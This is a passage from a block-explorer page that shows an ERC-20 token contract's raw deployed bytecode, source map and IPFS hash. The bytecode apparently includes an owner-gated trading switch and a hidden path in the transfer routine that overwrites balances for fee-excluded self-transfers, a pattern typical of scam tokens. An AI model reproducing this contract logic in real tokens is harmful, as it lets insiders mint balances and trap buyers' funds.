020821081141561138257634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000828210156113e5576113e56113bd565b500390565b600082198211156113fd576113fd6113bd565b500190565b600081600019048311821515161561141c5761141c6113bd565b500290565b60008261143e57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122026498d5fdb2676cedd315fe3a085ba50014f44db3c471a9b1b73730ca6634e8e64736f6c634300080b0033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c8063557ed1ba116100ec578063a457c2d71161008a578063ca9ec19911610064578063ca9ec19914610539578063dc1052e21461054f578063dd62ed3e1461056f578063f2fde38b146105b557600080fd5b8063a457c2d7146104d9578063a9059cbb146104f9578063c816841b1461051957600080fd5b8063715018a6116100c6578063715018a61461047157806376f18e26146104865780638da5cb5b146104a657806395d89b41146104c457600080fd5b8063557ed1ba146104135780636c5808011461042657806370a082311461043b57600080fd5b8063313ce567116101595780633eaaf86b116101335780633eaaf86b146103695780633ecad2711461039d57806342a11095146103cd5780635342acb4146103e357600080fd5b8063313ce5671461030557806331d5c24914610327578063395093511461034957600080fd5b806318160ddd1161019557806318160ddd1461025f57806323b872dd1461029c57806327c8f835146102bc5780632b112e49146102f057600080fd5b806306fdde03146101c7578063095ea7b3146101f25780631694505e1461022257600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506101dc6105d5565b6040516101e991906111d3565b60405180910390f35b3480156101fe57600080fd5b5061021261020d366004611244565b610667565b60405190151581526020016101e9565b34801561022e57600080fd5b506007546102479061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101e9565b34801561026b57600080fd5b507f00000000000000000000000000000000000000001027e72f1f128130880000005b6040519081526020016101e9565b3480156102a857600080fd5b506102126102b736600461126e565b61067e565b3480156102c857600080fd5b506102477f000000000000000000000000000000000000000000000000000000000000dead81565b3480156102fc57600080fd5b5061028e6106e9565b34801561031157600080fd5b50600a5460405160ff90911681526020016101e9565b34801561033357600080fd5b506103476103423660046112aa565b610752565b005b34801561035557600080fd5b50610212610364366004611244565b6107b0565b34801561037557600080fd5b5061028e7f00000000000000000000000000000000000000001027e72f1f1281308800000081565b3480156103a957600080fd5b506102126103b83660046112e6565b60066020526000908152604090205460ff1681565b3480156103d957600080fd5b5061028e600b5481565b3480156103ef57600080fd5b506102126103fe3660046112e6565b60046020526000908152604090205460ff1681565b34801561041f57600080fd5b504261028e565b34801561043257600080fd5b506103476107e6565b34801561044757600080fd5b5061028e6104563660046112e6565b6001600160a01b031660009081526003602052604090205490565b34801561047d57600080fd5b5061034761081f565b34801561049257600080fd5b506103476104a1366004611301565b610899565b3480156104b257600080fd5b506000546001600160a01b0316610247565b3480156104d057600080fd5b506101dc6108c8565b3480156104e557600080fd5b506102126104f4366004611244565b6108d7565b34801561050557600080fd5b50610212610514366004611244565b610926565b34801561052557600080fd5b50600854610247906001600160a01b031681565b34801561054557600080fd5b5061028e600c5481565b34801561055b57600080fd5b5061034761056a366004611301565b610933565b34801561057b57600080fd5b5061028e61058a36600461131a565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156105c157600080fd5b506103476105d03660046112e6565b610962565b6060600d80546105e49061134d565b80601f01602080910402602001604051908101604052809291908181526020018280546106109061134d565b801561065d5780601f106106325761010080835404028352916020019161065d565b820191906000526020600020905b81548152906001019060200180831161064057829003601f168201915b5050505050905090565b6000610674338484610a4c565b5060015b92915050565b600061068b848484610b70565b506106de84336106d985604051806060016040528060288152602001611444602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610e83565b610a4c565b5060015b9392505050565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead1660009081526003602052604081205461074d907f00000000000000000000000000000000000000001027e72f1f1281308800000090610ebd565b905090565b6000546001600160a01b031633146107855760405162461bcd60e51b815260040161077c90611388565b60405180910390fd5b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916106749185906106d99086610eff565b6000546001600160a01b031633146108105760405162461bcd60e51b815260040161077c90611388565b6007805460ff19166001179055565b6000546001600160a01b031633146108495760405162461bcd60e51b815260040161077c90611388565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b031633146108c35760405162461bcd60e51b815260040161077c90611388565b600c55565b6060600e80546105e49061134d565b600061067433846106d98560405180606001604052806025815260200161146c602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190610e83565b60006106de338484610b70565b6000546001600160a01b0316331461095d5760405162461bcd60e51b815260040161077c90611388565b600b55565b6000546001600160a01b0316331461098c5760405162461bcd60e51b815260040161077c90611388565b6001600160a01b0381166109f15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161077c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610aae5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161077c565b6001600160a01b038216610b0f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161077c565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526006602052604081205460ff16158015610ba757506000546001600160a01b03858116911614155b8015610bcc57506001600160a01b03841660009081526004602052604090205460ff16155b15610c1c5760075460ff16610c1c5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161077c565b6001600160a01b038416610c805760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161077c565b6001600160a01b038316610ce25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161077c565b81600901600955826001600160a01b0316846001600160a01b0316148015610d2257506001600160a01b03841660009081526004602052604090205460ff165b15610d41575060095460008481526003602052604090205560016106e2565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260039091529190912054610d93918490610e83565b6001600160a01b038516600090815260036020908152604080832093909355600490529081205460ff1680610de057506001600160a01b03841660009081526004602052604090205460ff165b610df457610def858585610f5e565b610df6565b825b6001600160a01b038516600090815260036020526040902054909150610e1c9082610eff565b6001600160a01b0380861660008181526003602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e709085815260200190565b60405180910390a3506001949350505050565b60008184841115610ea75760405162461bcd60e51b815260040161077c91906111d3565b506000610eb484866113d3565b95945050505050565b60006106e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e83565b600080610f0c83856113ea565b9050838110156106e25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161077c565b6001600160a01b038316600090815260066020526040812054819060ff1615610fa857610fa16064610f9b600b54866110e990919063ffffffff16565b90611168565b9050610fe6565b6001600160a01b03841660009081526006602052604090205460ff1615610fe657610fe36064610f9b600c54866110e990919063ffffffff16565b90505b80156110df576001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead1660009081526003602052604090205461102f9082610eff565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead811660008181526003602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110a39085815260200190565b60405180910390a36040518181527fa551808c565cfbf20dfffdbcd44c549f835f9d06a82dcd546c61644b2f5ce7919060200160405180910390a15b610eb48382610ebd565b6000826110f857506000610678565b60006111048385611402565b9050826111118583611421565b146106e25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161077c565b60006106e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836111c65760405162461bcd60e51b815260040161077c91906111d3565b506000610eb48486611421565b600060208083528351808285015260005b81811015611200578581018301518582016040015282016111e4565b81811115611212576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461123f57600080fd5b919050565b6000806040838503121561125757600080fd5b61126083611228565b946020939093013593505050565b60008060006060848603121561128357600080fd5b61128c84611228565b925061129a60208501611228565b9150604084013590509250925092565b600080604083850312156112bd57600080fd5b6112c683611228565b9150602083013580151581146112db57600080fd5b809150509250929050565b6000602082840312156112f857600080fd5b6106e282611228565b60006020828403121561131357600080fd5b5035919050565b6000806040838503121561132d57600080fd5b61133683611228565b915061134460208401611228565b90509250929050565b600181811c9082168061136157607f821691505b6020821081141561138257634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000828210156113e5576113e56113bd565b500390565b600082198211156113fd576113fd6113bd565b500190565b600081600019048311821515161561141c5761141c6113bd565b500290565b60008261143e57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122026498d5fdb2676cedd315fe3a085ba50014f44db3c471a9b1b73730ca6634e8e64736f6c634300080b0033

Deployed Bytecode Sourcemap

11610:6296:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14075:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15240:161;;;;;;;;;;-1:-1:-1;15240:161:0;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;15240:161:0;1053:187:1;11969:41:0;;;;;;;;;;-1:-1:-1;11969:41:0;;;;;;;-1:-1:-1;;;;;11969:41:0;;;;;;-1:-1:-1;;;;;1436:32:1;;;1418:51;;1406:2;1391:18;11969:41:0;1245:230:1;14352:100:0;;;;;;;;;;-1:-1:-1;14432:12:0;14352:100;;;1626:25:1;;;1614:2;1599:18;14352:100:0;1480:177:1;17543:313:0;;;;;;;;;;-1:-1:-1;17543:313:0;;;;;:::i;:::-;;:::i;12148:81::-;;;;;;;;;;;;;;;16164:128;;;;;;;;;;;;;:::i;14261:83::-;;;;;;;;;;-1:-1:-1;14327:9:0;;14261:83;;14327:9;;;;2345:36:1;;2333:2;2318:18;14261:83:0;2203:184:1;15834:125:0;;;;;;;;;;-1:-1:-1;15834:125:0;;;;;:::i;:::-;;:::i;:::-;;14737:218;;;;;;;;;;-1:-1:-1;14737:218:0;;;;;:::i;:::-;;:::i;12236:67::-;;;;;;;;;;;;;;;11886:45;;;;;;;;;;-1:-1:-1;11886:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12310:25;;;;;;;;;;;;;;;;11753:50;;;;;;;;;;-1:-1:-1;11753:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3679:90;;;;;;;;;;-1:-1:-1;3746:15:0;3679:90;;15409:72;;;;;;;;;;;;;:::i;14460:118::-;;;;;;;;;;-1:-1:-1;14460:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;14553:17:0;14526:7;14553:17;;;:8;:17;;;;;;;14460:118;3179:230;;;;;;;;;;;;;:::i;16064:88::-;;;;;;;;;;-1:-1:-1;16064:88:0;;;;;:::i;:::-;;:::i;2954:79::-;;;;;;;;;;-1:-1:-1;2992:7:0;3019:6;-1:-1:-1;;;;;3019:6:0;2954:79;;14166:87;;;;;;;;;;;;;:::i;14963:269::-;;;;;;;;;;-1:-1:-1;14963:269:0;;;;;:::i;:::-;;:::i;17368:167::-;;;;;;;;;;-1:-1:-1;17368:167:0;;;;;:::i;:::-;;:::i;12017:26::-;;;;;;;;;;-1:-1:-1;12017:26:0;;;;-1:-1:-1;;;;;12017:26:0;;;12342:27;;;;;;;;;;;;;;;;15969:87;;;;;;;;;;-1:-1:-1;15969:87:0;;;;;:::i;:::-;;:::i;14586:143::-;;;;;;;;;;-1:-1:-1;14586:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;14694:18:0;;;14667:7;14694:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;14586:143;3423:244;;;;;;;;;;-1:-1:-1;3423:244:0;;;;;:::i;:::-;;:::i;14075:83::-;14112:13;14145:5;14138:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14075:83;:::o;15240:161::-;15315:4;15332:39;958:10;15355:7;15364:6;15332:8;:39::i;:::-;-1:-1:-1;15389:4:0;15240:161;;;;;:::o;17543:313::-;17641:4;17658:36;17668:6;17676:9;17687:6;17658:9;:36::i;:::-;-1:-1:-1;17705:121:0;17714:6;958:10;17736:89;17774:6;17736:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17736:19:0;;;;;;:11;:19;;;;;;;;958:10;17736:33;;;;;;;;;;:37;:89::i;:::-;17705:8;:121::i;:::-;-1:-1:-1;17844:4:0;17543:313;;;;;;:::o;16164:128::-;-1:-1:-1;;;;;16271:11:0;14553:17;16217:7;14553:17;;;:8;:17;;;;;;16244:40;;:12;;:16;:40::i;:::-;16237:47;;16164:128;:::o;15834:125::-;3088:6;;-1:-1:-1;;;;;3088:6:0;958:10;3088:22;3080:67;;;;-1:-1:-1;;;3080:67:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;15919:21:0;;;::::1;;::::0;;;:12:::1;:21;::::0;;;;:32;;-1:-1:-1;;15919:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15834:125::o;14737:218::-;958:10;14825:4;14874:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;14874:34:0;;;;;;;;;;14825:4;;14842:83;;14865:7;;14874:50;;14913:10;14874:38;:50::i;15409:72::-;3088:6;;-1:-1:-1;;;;;3088:6:0;958:10;3088:22;3080:67;;;;-1:-1:-1;;;3080:67:0;;;;;;;:::i;:::-;15459:9:::1;:14:::0;;-1:-1:-1;;15459:14:0::1;15469:4;15459:14;::::0;;15409:72::o;3179:230::-;3088:6;;-1:-1:-1;;;;;3088:6:0;958:10;3088:22;3080:67;;;;-1:-1:-1;;;3080:67:0;;;;;;;:::i;:::-;3270:6:::1;::::0;;3249:81:::1;::::0;3286:42:::1;::::0;-1:-1:-1;;;;;3270:6:0;;::::1;::::0;3249:81:::1;::::0;::::1;3341:6;:60:::0;;-1:-1:-1;;;;;;3341:60:0::1;3358:42;3341:60;::::0;;3179:230::o;16064:88::-;3088:6;;-1:-1:-1;;;;;3088:6:0;958:10;3088:22;3080:67;;;;-1:-1:-1;;;3080:67:0;;;;;;;:::i;:::-;16130:8:::1;:14:::0;16064:88::o;14166:87::-;14205:13;14238:7;14231:14;;;;;:::i;14963:269::-;15056:4;15073:129;958:10;15096:7;15105:96;15144:15;15105:96;;;;;;;;;;;;;;;;;958:10;15105:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;15105:34:0;;;;;;;;;;;;:38;:96::i;17368:167::-;17446:4;17463:42;958:10;17487:9;17498:6;17463:9;:42::i;15969:87::-;3088:6;;-1:-1:-1;;;;;3088:6:0;958:10;3088:22;3080:67;;;;-1:-1:-1;;;3080:67:0;;;;;;;:::i;:::-;16035:7:::1;:13:::0;15969:87::o;3423:244::-;3088:6;;-1:-1:-1;;;;;3088:6:0;958:10;3088:22;3080:67;;;;-1:-1:-1;;;3080:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3512:22:0;::::1;3504:73;;;::::0;-1:-1:-1;;;3504:73:0;;4333:2:1;3504:73:0::1;::::0;::::1;4315:21:1::0;4372:2;4352:18;;;4345:30;4411:34;4391:18;;;4384:62;-1:-1:-1;;;4462:18:1;;;4455:36;4508:19;;3504:73:0::1;4131:402:1::0;3504:73:0::1;3614:6;::::0;;3593:38:::1;::::0;-1:-1:-1;;;;;3593:38:0;;::::1;::::0;3614:6;::::1;::::0;3593:38:::1;::::0;::::1;3642:6;:17:::0;;-1:-1:-1;;;;;;3642:17:0::1;-1:-1:-1::0;;;;;3642:17:0;;;::::1;::::0;;;::::1;::::0;;3423:244::o;15489:337::-;-1:-1:-1;;;;;15582:19:0;;15574:68;;;;-1:-1:-1;;;15574:68:0;;4740:2:1;15574:68:0;;;4722:21:1;4779:2;4759:18;;;4752:30;4818:34;4798:18;;;4791:62;-1:-1:-1;;;4869:18:1;;;4862:34;4913:19;;15574:68:0;4538:400:1;15574:68:0;-1:-1:-1;;;;;15661:21:0;;15653:68;;;;-1:-1:-1;;;15653:68:0;;5145:2:1;15653:68:0;;;5127:21:1;5184:2;5164:18;;;5157:30;5223:34;5203:18;;;5196:62;-1:-1:-1;;;5274:18:1;;;5267:32;5316:19;;15653:68:0;4943:398:1;15653:68:0;-1:-1:-1;;;;;15734:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15786:32;;1626:25:1;;;15786:32:0;;1599:18:1;15786:32:0;;;;;;;15489:337;;;:::o;16302:1054::-;-1:-1:-1;;;;;16411:23:0;;16389:4;16411:23;;;:12;:23;;;;;;;;16410:24;:45;;;;-1:-1:-1;2992:7:0;3019:6;-1:-1:-1;;;;;16438:17:0;;;3019:6;;16438:17;;16410:45;:75;;;;-1:-1:-1;;;;;;16460:25:0;;;;;;:17;:25;;;;;;;;16459:26;16410:75;16406:148;;;16509:9;;;;16501:53;;;;-1:-1:-1;;;16501:53:0;;5548:2:1;16501:53:0;;;5530:21:1;5587:2;5567:18;;;5560:30;-1:-1:-1;;;5606:18:1;;;5599:52;5668:18;;16501:53:0;5346:346:1;16501:53:0;-1:-1:-1;;;;;16578:20:0;;16570:70;;;;-1:-1:-1;;;16570:70:0;;5899:2:1;16570:70:0;;;5881:21:1;5938:2;5918:18;;;5911:30;5977:34;5957:18;;;5950:62;-1:-1:-1;;;6028:18:1;;;6021:35;6073:19;;16570:70:0;5697:401:1;16570:70:0;-1:-1:-1;;;;;16659:23:0;;16651:71;;;;-1:-1:-1;;;16651:71:0;;6305:2:1;16651:71:0;;;6287:21:1;6344:2;6324:18;;;6317:30;6383:34;6363:18;;;6356:62;-1:-1:-1;;;6434:18:1;;;6427:33;6477:19;;16651:71:0;6103:399:1;16651:71:0;16802:6;16790:11;16786:23;16774:11;16767:43;16846:9;-1:-1:-1;;;;;16836:19:0;:6;-1:-1:-1;;;;;16836:19:0;;:48;;;;-1:-1:-1;;;;;;16859:25:0;;;;;;:17;:25;;;;;;;;16836:48;16833:93;;;-1:-1:-1;16919:6:0;;13825:4;13875:12;;;13920:13;13916:2;13909:25;13981:2;13968:16;;14006:15;14055:4;16899:27;;16833:93;16958:52;;;;;;;;;;;-1:-1:-1;;;16958:52:0;;;;;;;;-1:-1:-1;;;;;16958:16:0;;-1:-1:-1;16958:16:0;;;:8;:16;;;;;;;;:52;;16979:6;;16958:20;:52::i;:::-;-1:-1:-1;;;;;16939:16:0;;;;;;:8;:16;;;;;;;;:71;;;;17046:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;17075:28:0;;;;;;:17;:28;;;;;;;;17046:57;17045:150;;17158:37;17169:6;17177:9;17188:6;17158:10;:37::i;:::-;17045:150;;;17149:6;17045:150;-1:-1:-1;;;;;17232:19:0;;;;;;:8;:19;;;;;;17023:172;;-1:-1:-1;17232:36:0;;17023:172;17232:23;:36::i;:::-;-1:-1:-1;;;;;17210:19:0;;;;;;;:8;:19;;;;;;;:58;;;;17286:40;;;;;;;;;;17314:11;1626:25:1;;1614:2;1599:18;;1480:177;17286:40:0;;;;;;;;-1:-1:-1;17344:4:0;;16302:1054;-1:-1:-1;;;;16302:1054:0:o;1465:192::-;1551:7;1587:12;1579:6;;;;1571:29;;;;-1:-1:-1;;;1571:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1611:9:0;1623:5;1627:1;1623;:5;:::i;:::-;1611:17;1465:192;-1:-1:-1;;;;;1465:192:0:o;1321:136::-;1379:7;1406:43;1410:1;1413;1406:43;;;;;;;;;;;;;;;;;:3;:43::i;1132:181::-;1190:7;;1222:5;1226:1;1222;:5;:::i;:::-;1210:17;;1251:1;1246;:6;;1238:46;;;;-1:-1:-1;;;1238:46:0;;7104:2:1;1238:46:0;;;7086:21:1;7143:2;7123:18;;;7116:30;7182:29;7162:18;;;7155:57;7229:18;;1238:46:0;6902:351:1;13135:626:0;-1:-1:-1;;;;;13285:15:0;;13211:7;13285:15;;;:12;:15;;;;;;13211:7;;13285:15;;13282:189;;;13328:28;13352:3;13328:19;13339:7;;13328:6;:10;;:19;;;;:::i;:::-;:23;;:28::i;:::-;13317:39;;13282:189;;;-1:-1:-1;;;;;13387:15:0;;;;;;:12;:15;;;;;;;;13384:87;;;13430:29;13455:3;13430:20;13441:8;;13430:6;:10;;:20;;;;:::i;:29::-;13419:40;;13384:87;13494:12;;13491:223;;-1:-1:-1;;;;;13573:11:0;13556:30;;;;;:8;:30;;;;;;:44;;13591:8;13556:34;:44::i;:::-;-1:-1:-1;;;;;13540:11:0;13523:30;;;;;;:8;:30;;;;;;;:77;;;;13620:43;;;;;;;;;;13654:8;1626:25:1;;1614:2;1599:18;;1480:177;13620:43:0;;;;;;;;13683:19;;1626:25:1;;;13683:19:0;;1614:2:1;1599:18;13683:19:0;;;;;;;13491:223;13733:20;:6;13744:8;13733:10;:20::i;1665:250::-;1723:7;1747:6;1743:47;;-1:-1:-1;1777:1:0;1770:8;;1743:47;1802:9;1814:5;1818:1;1814;:5;:::i;:::-;1802:17;-1:-1:-1;1847:1:0;1838:5;1842:1;1802:17;1838:5;:::i;:::-;:10;1830:56;;;;-1:-1:-1;;;1830:56:0;;7855:2:1;1830:56:0;;;7837:21:1;7894:2;7874:18;;;7867:30;7933:34;7913:18;;;7906:62;-1:-1:-1;;;7984:18:1;;;7977:31;8025:19;;1830:56:0;7653:397:1;1923:132:0;1981:7;2008:39;2012:1;2015;2008:39;;;;;;;;;;;;;;;;;2149:7;2184:12;2177:5;2169:28;;;;-1:-1:-1;;;2169:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2208:9:0;2220:5;2224:1;2220;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1662:328::-;1739:6;1747;1755;1808:2;1796:9;1787:7;1783:23;1779:32;1776:52;;;1824:1;1821;1814:12;1776:52;1847:29;1866:9;1847:29;:::i;:::-;1837:39;;1895:38;1929:2;1918:9;1914:18;1895:38;:::i;:::-;1885:48;;1980:2;1969:9;1965:18;1952:32;1942:42;;1662:328;;;;;:::o;2392:347::-;2457:6;2465;2518:2;2506:9;2497:7;2493:23;2489:32;2486:52;;;2534:1;2531;2524:12;2486:52;2557:29;2576:9;2557:29;:::i;:::-;2547:39;;2636:2;2625:9;2621:18;2608:32;2683:5;2676:13;2669:21;2662:5;2659:32;2649:60;;2705:1;2702;2695:12;2649:60;2728:5;2718:15;;;2392:347;;;;;:::o;2744:186::-;2803:6;2856:2;2844:9;2835:7;2831:23;2827:32;2824:52;;;2872:1;2869;2862:12;2824:52;2895:29;2914:9;2895:29;:::i;2935:180::-;2994:6;3047:2;3035:9;3026:7;3022:23;3018:32;3015:52;;;3063:1;3060;3053:12;3015:52;-1:-1:-1;3086:23:1;;2935:180;-1:-1:-1;2935:180:1:o;3120:260::-;3188:6;3196;3249:2;3237:9;3228:7;3224:23;3220:32;3217:52;;;3265:1;3262;3255:12;3217:52;3288:29;3307:9;3288:29;:::i;:::-;3278:39;;3336:38;3370:2;3359:9;3355:18;3336:38;:::i;:::-;3326:48;;3120:260;;;;;:::o;3385:380::-;3464:1;3460:12;;;;3507;;;3528:61;;3582:4;3574:6;3570:17;3560:27;;3528:61;3635:2;3627:6;3624:14;3604:18;3601:38;3598:161;;;3681:10;3676:3;3672:20;3669:1;3662:31;3716:4;3713:1;3706:15;3744:4;3741:1;3734:15;3598:161;;3385:380;;;:::o;3770:356::-;3972:2;3954:21;;;3991:18;;;3984:30;4050:34;4045:2;4030:18;;4023:62;4117:2;4102:18;;3770:356::o;6507:127::-;6568:10;6563:3;6559:20;6556:1;6549:31;6599:4;6596:1;6589:15;6623:4;6620:1;6613:15;6639:125;6679:4;6707:1;6704;6701:8;6698:34;;;6712:18;;:::i;:::-;-1:-1:-1;6749:9:1;;6639:125::o;6769:128::-;6809:3;6840:1;6836:6;6833:1;6830:13;6827:39;;;6846:18;;:::i;:::-;-1:-1:-1;6882:9:1;;6769:128::o;7258:168::-;7298:7;7364:1;7360;7356:6;7352:14;7349:1;7346:21;7341:1;7334:9;7327:17;7323:45;7320:71;;;7371:18;;:::i;:::-;-1:-1:-1;7411:9:1;;7258:168::o;7431:217::-;7471:1;7497;7487:132;;7541:10;7536:3;7532:20;7529:1;7522:31;7576:4;7573:1;7566:15;7604:4;7601:1;7594:15;7487:132;-1:-1:-1;7633:9:1;;7431:217::o

Swarm Source

ipfs://26498d5fdb2676cedd315fe3a085ba50014f44db3c471a9b1b73730ca6634e8e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.